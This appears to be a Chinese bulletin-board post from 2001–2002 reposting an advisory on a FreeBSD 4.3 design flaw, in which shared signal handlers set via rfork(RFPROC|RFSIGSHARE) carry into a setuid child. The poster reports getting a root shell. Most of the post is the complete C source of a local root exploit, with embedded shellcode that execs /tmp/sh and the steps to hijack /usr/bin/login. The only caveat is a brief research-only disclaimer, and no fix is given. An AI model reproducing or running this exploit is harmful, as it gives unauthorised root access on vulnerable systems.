发信人: jxray(光线) 
整理人: zhcharles(2002-01-30 15:45:54), 站内信件
 | 
 
 
我做了测试。得到了rootshell.
 没什么说的了。很可怕。
 
 FreeBSD 4.3 设计漏洞 (BSD,缺陷) 
   
 涉及程序: 
 FreeBSD 
   
 描述: 
 本地攻击者利用 FreeBSD 4.3 设计漏洞取得系统特权 
   
 详细: 
 发现 FreeBSD 4.3 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。问题出在 rfork(RFPROC|RFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。
 
 利用此漏洞,本地攻击者能取得 root 权限。
 
 
 以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负
 
 
 -------------vvfreebsd.c---------------------- 
 
 
 /* 
 FreeBSD 4.3 local root exploit using shared signals. 
 Written by Georgi Guninski http://www.guninski.com 
 */ 
 
 
 #include <stdio.h> 
 #include <signal.h> 
 #include <unistd.h> 
 int vv1; 
 
 
 #define MYSIG SIGINT 
 
 
 
 //exec "/tmp/sh", shellcode gotten from the internet and modified 
 unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90" 
 "\x31\xc0\x50\x50\xb0\xb7\xcd\x80" 
 "\x31\xc0\x50\x50\xb0\x17\xcd\x80" 
 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" 
             "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53" 
             "\xb0\x3b\x50\xcd\x80\x90\x90\x90"; 
 
 
 typedef (*PROG)(); 
 extern char **environ; 
 
 
 int main(int ac,char **av) 
 { 
 int pid; 
 //(*(PROG)bsdshell)(); 
 if(!(vv1=getenv("vv"))) 
 { 
 setenv("vv",bsdshell,1); 
 if(!execle(av[0],"vv",NULL,environ)) 
   { 
    perror("weird exec"); 
    exit(1); 
   } 
 } 
 
 
 printf("vvfreebsd. Written by Georgi Guninski\n"); 
 printf("shall jump to %x\n",vv1); 
 
 
 if(!(pid=rfork(RFPROC|RFSIGSHARE))) 
 { 
 printf("child=%d\n",getpid()); 
 // /usr/bin/login and rlogin work for me. ping gives nonsuid shell 
 // if(!execl("/usr/bin/rlogin","rlogin","localhost",0)) 
 if(!execl("/usr/bin/login","login",0)) 
   { 
    perror("exec setuid failed"); 
    exit(2); 
   }; 
 } 
 sleep(2); 
 signal(MYSIG,(sig_t)vv1); 
 sleep(2); 
 kill(pid,MYSIG); 
 printf("done\n"); 
 while(42); 
 } 
 
 ---------------------------------------------- 
 
 受影响版本:
 FreeBSD 4.3 
 早期版本也许受影响 
   
 解决方案: 
 尚无 
   
 发布时间:2001年7月11日 
 返回
  
 
 
  ---- #fortune
 Computers are not intelligent.  They only think they are.
 #_ | 
 
 
 |